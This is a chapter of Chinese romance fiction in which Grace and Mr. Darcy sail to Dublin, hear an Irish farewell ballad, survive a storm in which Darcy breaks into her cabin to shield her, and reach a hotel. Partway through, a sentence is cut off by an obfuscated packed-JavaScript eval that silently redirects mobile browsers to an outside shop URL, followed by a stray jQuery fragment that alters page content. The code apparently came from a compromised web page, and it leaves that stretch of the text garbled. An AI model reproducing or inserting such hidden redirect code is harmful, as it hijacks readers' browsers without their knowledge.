“海燕号”是一艘流线优美的双桅纵帆船，高耸的桅杆直指苍穹，巨大的风帆在凛冽的海风中鼓胀如翼。
格蕾丝站在船尾远眺，手肘撑在已经被海浪打湿的栏杆。突然，一阵粗犷的喧闹声传来。
她循声望去，只见下方甲板上挤满了返回故土的爱尔兰平民。他们身上裹着粗糙的花呢，三三两两地席地而坐，或者倚靠在成堆的木桶、缆绳和麻袋旁。
不知是谁先拉响了一把古旧的小提琴，欢快的吉格舞曲瞬间在甲板上空盘旋开来。
几个穿着磨损皮鞋的年轻男女欢呼着跳入人群中央，他们双手叉腰，上身挺得笔直，双脚却如同急雨敲击甲板，踏出充满力量的节奏。
周围的人们打着节拍，用一种格蕾丝听不懂，却能感受到炽热情感的盖尔语高声谈笑。
在飞扬的裙角和无所顾忌的笑容里，她仿佛看到了蓬勃奔放的生命力。
夜幕逐渐降临，深邃的天空倾盖而下。海风变得凛冽，原本欢腾的甲板也渐渐恢复安静，只剩下偶尔的低语和海浪拍打船壳的闷响。
格蕾丝没有回舱，她紧了紧身上的披肩，依然独自静立在风中。就在这时，空灵、悠远的乐音穿透了海风的低语，飘入她的耳畔。
弹奏者似乎坐在甲板的某个暗处，奏响了一把爱尔兰竖琴，没有白日里的喧嚣，只剩下最纯粹的沧桑。紧接着，一个清亮的女声伴随着琴声，缓慢而深情地唱起一首离别曲。
All the harm that e'er I've done. Alas， it was to none but me
（我这一生纵有百般过错，叹只叹，皆是作茧自缚，未曾伤及旁人）
And all I've done for want of wit. To memory now I can't recall
（昔日因痴想莽撞而生的荒唐，如今皆前尘如烟，再难追寻）
……
But since it falls unto my lot， that I should rise and you should not
（既然宿命早已注定，我将起身远行，而你们须得停留）
I'll gently rise and softly call， good night and joy be with you all
（那便容我悄然离席，向你们柔声祝愿，晚安，愿欢乐与你们同在）①
歌声里充斥着对流逝岁月的无尽追忆和对未卜前途的叹息。
强烈的悸动瞬间攫住了格蕾丝的呼吸。她知道自己正在回家，却又像是在走向一片全然未知的天地。
悄然之间，达西先生来到了她的身后。他将一件带着体温的大衣轻轻地披在了她的肩上，站在距离她半步之遥的地方，陪她一起聆听那首随风飘荡的民谣。
第二天午后，天际线的尽头开始涌现出铅块般沉重的积云。原本蔚蓝的爱尔兰海，迅速变成极具压迫感的灰黑色。
“暴风雨要来了！”老船长站在舵轮旁，用嘶哑的嗓音发出怒吼，“所有人！降下主帆！拉紧风暴帆！封闭所有舱口！让乘客们待在自己的舱室里，无论听到什么声音，绝对不许出来！”
水手们在甲板上和桅杆间来回穿梭。很快，沉重的防水油布被死死钉在了货舱口上。乘客们被分别赶回了各自的客舱。
黄昏时分，真正的灾难降临了。
风暴来势凶猛，它张开血盆大口，试图将这艘渺小的帆船彻底吞噬。狂风发出凄厉的尖叫，十几英尺高的巨浪一次又一次狠狠地砸向船体，轰响震耳欲聋。
船舱内陷入了无尽的黑暗，只有一盏悬挂在舱顶的锡制油灯，在剧烈的摇晃中投射出扭曲的光影。空气中弥漫着从缝隙里渗进来的海水咸腥气，让人几欲作呕。
格蕾丝紧紧地缩在狭窄的床铺角落里，双手死死地抓住固定在床沿的栏杆。船体的每一次剧烈颠簸，都伴随着令人牙酸的木材扭曲声。
“砰——！”
一个猛烈的侧浪狠狠地击中了船身，“海燕号”向左侧发生了大幅度的倾斜。
格蕾丝只觉得一阵天旋地转，整个人被巨大的惯性直接从床上甩了出去，重重地撞向对面的衣柜，随即跌落在冰冷坚硬的地板上。
剧烈的疼痛从肩膀和膝盖处蔓延开来，她忍不住发出一声凄厉的惊叫。行李箱从架子上砸落，衣物和书籍散落一地，满目狼藉。
就在此刻，走廊上传来了一阵慌乱的脚步声，紧接着是舱门被用力推搡的闷响。
“格蕾丝！格蕾丝！你听得到吗？！”是达西先生的声音！
“我在这里……”格蕾丝试图回应，但胃里一阵翻江倒海的抽搐，让她只能发出虚弱的呜咽。晕船的生理反应在这剧烈的颠簸中达到了顶峰，眩晕感让她连爬起来的力气都没有。
舱门是为了抵御海水倒灌而特制的，厚实的橡木配合着内部的搭扣，从外面根本无法撞开。门外的达西在徒劳地推了两下后，立刻意识到了这一点。
“让开，格蕾丝！离门远一点！”他在门外厉声吼道。
下一秒，舱门上半部用来透气的通风格栅被暴力地砸碎，尖锐的木刺四下飞溅，一只手臂从那个参差不齐的破洞伸了进来。
经过一阵摸索，他终于准确地抓住了那个搭扣，用力向上一掀。
舱门被猛地拉开，狂风夹杂着冰冷的海水顺着走廊倒灌而入。那盏摇曳的油灯苟延残喘，维持着最后一点光亮。
达西跌跌撞撞地冲了进来。他的头发此刻被汗水和海水浸透，凌乱地贴在额头上；白色的衬衫领口敞开着；那只破门而入的右手上，几道伤痕正在往外汩汩冒血。
“格蕾丝！”
他在昏暗中一眼看到了倒在行李堆中的她，立刻扑上前，将她从地板上扶了起来。
“你受伤了吗？”他小心翼翼地将她抱回床铺上。
但格蕾丝此刻已经完全被晕船的痛苦所控制。世界在她眼前疯狂旋转，胃部翻江倒海。她猛地推开达西，趴在床沿上干呕起来。
颜面尽失、狼狈不堪的虚弱暴露在外，所有的矜持都被撕得粉碎。
达西没有任何的嫌弃与
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17582230|203965||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
退缩。他迅速将门锁好，跪在床边，用自己高大的身躯作为屏障，将她牢牢护在自己与舱壁之间，以防她再次被颠簸甩出去。他一只手揽住她的腰，另一只手则轻轻擦去她眼角溢出的生理性泪水。
“深呼吸，格蕾丝。”
船体再次发生了一次剧烈的下坠。格蕾丝在深切的恐惧中，本能地抓住了达西的衣领，把脸埋进他的怀里。
达西顺势收紧双臂，将她包裹在自己的怀抱中。她能清晰地听到他胸腔里那平稳有力的心跳声。
不知过了多久，也许是一个世纪，也许只是几个小时。虽然风暴没有完全停歇，但船体的颠簸似乎已经不再那么致命。老船长凭借着高超的航海技术，让帆船迎着巨浪，在这片狂暴的海域中找到了平衡。
格蕾丝靠在达西的怀里，眩晕感稍稍退去，理智缓慢地回笼。她意识到自己正不合体统地依偎在一个绅士的怀里，但她却没有挣脱的力气。
她抬起头，借着昏暗的光线，看着达西眼中那溢于言表的关切。
一个久久盘旋在她心底，却从未问出口的问题，终于冲破了喉咙。
“达西先生，既然你已经知道了我是谁。可为什么，你从未叫过我菲欧娜？为什么……一直固执地叫我格蕾丝？”
她乞求一个能让她在这无根的飘零中，找到自我存在的理由。
达西没有立刻回答，只是将手臂收得更紧了一些。外面的海浪依然在咆哮，但在他们之间这狭小的方寸之地，却安静得只能听见彼此的呼吸。
“因为菲欧娜·凯利是命运赋予你的名字。”
他低下头，几乎贴上了她的额头，一字一句地说道：
“But to me... you are the Grace of God.”（但是对我而言……你是上帝赐予我的恩典。）
眼泪决堤而下。至此，她已明了，无论前方等待她的是什么，她都不再孑然一身。
长夜终尽，第一缕晨曦穿透厚重的云层，洒在波涛稍息的爱尔兰海上。“海燕号”缓缓驶入了利菲河的河口。
都柏林的轮廓在薄雾中若隐若现。古老的尖塔、错落有致的乔治亚风格建筑，在码头上逐渐苏醒的喧闹声中变得清晰起来。
他们在金先生提前安排的马车接应下，顺利抵达了位于道森街的莫里森旅馆。
连日的大起大落，加上风暴中的胆战心惊，已经彻底耗尽了格蕾丝最后一丝精力。她被女仆搀扶着走进那间生着温暖炉火的套房，甚至连脱下斗篷的力气都没有了。
达西先生在走廊上与旅馆经理低声交涉着接下来的安排。
等他推开门，他刻意放轻了脚步，只见格蕾丝正蜷缩在壁炉前那张宽大的沙发里；她的斗篷随意地滑落在一旁，长发铺洒在靠垫上。
她的呼吸平稳绵长，苍白的脸颊在炉火的映照下恢复了一丝红润；那紧锁了一路的眉头，也终于彻底舒展开来。
达西伫立不动，目光落在她安然的睡颜上。他没有走过去吵醒她，也没有叫来女仆，只是退后了一步，轻声带上了房门。
至少这一刻，她可以无所顾忌地沉睡。